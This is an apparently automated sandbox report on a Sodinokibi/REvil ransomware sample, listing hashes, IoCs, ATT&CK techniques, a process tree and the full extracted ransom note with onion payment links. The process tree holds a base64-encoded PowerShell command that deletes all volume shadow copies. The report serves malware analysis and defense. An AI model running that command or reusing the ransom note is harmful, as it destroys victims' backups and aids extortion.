sodinokibi | 218ad6e33041a0bdb60c8de03e7dcdf42e5392e106a4b5b0436cdaa02a8dd2c9

Resubmissions

15-06-2024 03:27

240615-d1akhs1fmk 10

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15-06-2024 03:27

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General

Target

acbd7cf1df4ef4e2c4812747cd443e66_JaffaCakes118.dll
Size

166KB
MD5

acbd7cf1df4ef4e2c4812747cd443e66
SHA1

9e386231a88ffafb3597fddfa909289febf105df
SHA256

218ad6e33041a0bdb60c8de03e7dcdf42e5392e106a4b5b0436cdaa02a8dd2c9
SHA512

8f116add8d2108ad314221bb4fb77308884c849d8f614f140ca7d989e481b4024afa37a768d20257296c0a6715ca8bb1341081eb896a6045617ea4e403b676f5
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q3VMg7UEgZp6:NJ0BXScFyfC3Hd4yg3V5K

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\6vjnp19j69-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 6vjnp19j69. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C6C8BAF20F4F67F8 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C6C8BAF20F4F67F8 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: EA/jLuCfdaRVAyFdrz5uINREMM7NIGnnhooKfSb8YmASE8sax5pqLHkNQlP+GCkw 5MiPnBNRbfN075DyX8Ilb5D77LHF0CGjvdoX6jH5Um7b56UjS9kCQszS+sZ3dd6J FAtwB4yy84yuny1plEqvk4syqSyHAmIP2xmm0Kwi2hXgPeXB/4e/4iZzpstGyXEm zPMa4tKyHwFiVg5RG3EDU6jN151gcCfXkjhUW5LmolTNAcQR3WXU2xoUnVcTRxin FDqxMekCD+J0s3DPUvUnKNd00XJ+lBTRxLISefyVvxGskXH61EQvGjh4P+Mqjkw+ VsWZ/dKpyAcRgREycyQ/PZPcotffb74y0v2cSsltmgt10xsZyICw0K3iIB4Y4Fby yVl5mhqUXdqokgakBmmUy24ua6So8PaGBC261nbHNeqzmZRSCJrrYDKZN6jrjbAZ mxRT1pdUhmWf4pzHbOE9l0VTy/JGFU4VpSheSi+G/5JqIypOFiY3f+1yRGNXpjD2 OSsa7XVehzRjWM4CS7InKcNyID6beqc6myiiTZfaxUa22AzXepuGzCieszMJ01nI /Qsp4lTj1lKmiyQq3WM71SnZZmjV/K81iXBvcig4P4zA0999H2fZtPEopyfUqj7W QniSvEda26+yMfLp8abOjl9CZ1jXOQmaE1/IZ0aecjzQfOwLBIeQcL1TdhLeTXQj ESDcmeHjDdoJopssKq5X3lJPvK+C3d96lM0msAtc/Ng6Cc2Sx8FzOMpPfqER+oFA tYw21RXgbzEaI3KqBDZLZe1N38iRIvyPP/4SJQKXIBKEFkS9DVYMD28f8VGZWPnM jk5Wbzoll8S+EwStcAa5EY4icJcXWL1PBlGPcpfAs3QhxOxl5j60or/nAuILAwKt XsEEahrTI/odDDxY5pP9PnicYAFMGQuIFdPAQAkkgbnipawSSslmrYsVUUu20cR7 gRpGprJd86KpOW2NQb+cyT+Cqg8f9rxCDTUrq9Hm+P7MiN68zxSsEK739EhfVU/H OvVxK8glapARWy+lhFIRWTfHUL9ZeT7n3qTlhrea2JeGmGaqWFGg2nA2WtxwRUd6 91uoVWQD870PdWueiemghrfJaKmhdNWWy/V/JGSGH8N75+hntsYYP+WZLS+Q562l 2jFTHQrQzQyktYocOY5Dl2C6NA8BNU2fN5oQYtAdutaUPRe/woXB0WZf852cdxD1 Mqcg7Fiitjn05zIynCFLPX01wgcLdTQP1L8I4gyQxg/W+PrTZ7mBRhm3aO9X2zhy XhB58RDxjqqgcUY5LOX1Upl28RSYvn5pqsCo7gR8FTC+G6Xw2+i0908f0hItAoCt lHWHGy8dTlAtaUHWHzD5rv7D7X9hTKCCy1AjzmOXlkW22TDqJdZS01/tY8XeXQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C6C8BAF20F4F67F8

http://decryptor.cc/C6C8BAF20F4F67F8

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Drops file in Program Files directory 11 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\UnprotectUnblock.au	rundll32.exe
File opened for modification	\??\c:\program files\UpdateFormat.tif	rundll32.exe
File created	\??\c:\program files\6vjnp19j69-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmBackup.inf	rundll32.exe
File opened for modification	\??\c:\program files\DisableResize.wpl	rundll32.exe
File opened for modification	\??\c:\program files\RestartEnable.mpg	rundll32.exe
File opened for modification	\??\c:\program files\WaitAdd.ADTS	rundll32.exe
File created	\??\c:\program files (x86)\6vjnp19j69-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BlockUnprotect.dotx	rundll32.exe
File opened for modification	\??\c:\program files\ConnectBlock.MTS	rundll32.exe
File opened for modification	\??\c:\program files\RemoveLock.ps1xml	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4400 rundll32.exe
4400 rundll32.exe
772 powershell.exe
772 powershell.exe

pid	process
4400	rundll32.exe
4400	rundll32.exe
772	powershell.exe
772	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4400	rundll32.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeBackupPrivilege	5004	vssvc.exe
Token: SeRestorePrivilege	5004	vssvc.exe
Token: SeAuditPrivilege	5004	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1816 wrote to memory of 4400	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 4400	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 4400	1816	rundll32.exe	rundll32.exe
PID 4400 wrote to memory of 772	4400	rundll32.exe	powershell.exe
PID 4400 wrote to memory of 772	4400	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\acbd7cf1df4ef4e2c4812747cd443e66_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\acbd7cf1df4ef4e2c4812747cd443e66_JaffaCakes118.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:772

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3220

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4240,i,18168883380598738769,14202261231630113808,262144 --variations-seed-version --mojo-platform-channel-handle=4068 /prefetch:8
1⤵
PID:5428

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\6vjnp19j69-readme.txt
Filesize
6KB

MD5
6a79ed7192bb52698ce0566d257bb8a9

SHA1
f08a840d1453d4cfa68d72c1bcaada6331589ed7

SHA256
36b7ef42d762acff310ba86756596035f786d87c4f74b1aa7ee44d3f588ac124

SHA512
537e52454c968448e3eff918761291e8986549c3aea437ceedf08f56903e22eec1f4b8973e6cfca14d21fda897f09fcf06d5c66a67599c0ff848c5208fd80042

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m05ayvgw.bmd.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/772-0-0x00007FFCC2063000-0x00007FFCC2065000-memory.dmp

Filesize
8KB

Download
memory/772-6-0x000002E1E31B0000-0x000002E1E31D2000-memory.dmp

Filesize
136KB

Download
memory/772-11-0x00007FFCC2060000-0x00007FFCC2B21000-memory.dmp

Filesize
10.8MB

Download
memory/772-12-0x00007FFCC2060000-0x00007FFCC2B21000-memory.dmp

Filesize
10.8MB

Download
memory/772-15-0x00007FFCC2060000-0x00007FFCC2B21000-memory.dmp

Filesize
10.8MB

Download